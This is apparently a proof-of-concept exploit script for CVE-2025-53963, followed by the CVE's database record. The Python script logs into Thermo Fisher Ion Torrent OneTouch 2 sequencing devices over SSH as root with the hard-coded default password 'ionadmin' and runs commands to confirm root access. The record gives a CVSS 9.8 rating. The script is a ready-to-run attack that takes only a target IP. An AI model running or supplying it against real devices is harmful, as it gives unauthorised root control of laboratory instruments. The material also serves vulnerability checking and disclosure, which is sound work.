CVE-2025-53963

#!/usr/bin/env python3 """ CVE-2025-53963 PoC - Thermo Fisher Ion Torrent OneTouch 2 SSH Default Credentials Usage: python3 cve-2025-53963.py <target_ip> """ import socket import sys import paramiko from paramiko import SSHClient, AutoAddPolicy def check_ssh_vulnerability(target_ip, port=22): """Check if target is vulnerable to CVE-2025-53963""" print(f"[*] Checking SSH service on {target_ip}:{port}") # Default credentials for Ion Torrent OneTouch 2 username = "root" password = "ionadmin" try: # Check if SSH port is open sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_ip, port)) if result != 0: print(f"[-] SSH port {port} is closed") return False sock.close() print(f"[+] SSH port {port} is open") # Attempt login with default credentials print(f"[*] Attempting SSH login with default credentials...") client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) client.connect( hostname=target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS: Authenticated with {username}:{password}") # Execute test command stdin, stdout, stderr = client.exec_command('whoami') output = stdout.read().decode().strip() print(f"[+] Current user: {output}") # Get root shell stdin, stdout, stderr = client.exec_command('id') print(f"[+] User ID: {stdout.read().decode().strip()}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Authentication failed with default credentials") return False except socket.timeout: print(f"[-] Connection timeout") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-53963 PoC - Thermo Fisher Ion Torrent OneTouch 2") print(f"[*] Target: {target}") if check_ssh_vulnerability(target): print("\n[!] VULNERABLE: Device uses default SSH credentials") else: print("\n[*] NOT VULNERABLE or target unreachable")

{"cve": {"id": "CVE-2025-53963", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:58.497", "lastModified": "2025-12-16T21:01:55.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered on Thermo Fisher Ion Torrent OneTouch 2 INS1005527 devices. They run an SSH server accessible over the default port 22. The root account has a weak default password of ionadmin, and a password change policy for the root account is not enforced. Thus, an attacker with network connectivity can achieve root code execution. NOTE: This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-521"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:thermofisher:ion_torrent_onetouch_2_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "3ADB7EF9-E6BF-468B-8B96-98C79409E924"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:thermofisher:ion_torrent_onetouch_2:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CD40B87-870A-4B96-8864-4687DA5AB439"}]}]}], "references": [{"url": "https://assets.thermofisher.com/TFS-Assets/LSG/manuals/MAN0014388_IonOneTouch2Sys_UG.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://documents.thermofisher.com/TFS-Assets/CORP/Product-Guides/Ion_OneTouch_2_and_Torrent_Suite_Software.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://tools.thermofisher.cn/content/sfs/brochures/One_Touch_2_Spec_Sheet.pdf", "source": "[email protected]", "tags": ["Permissions Required"]}]}}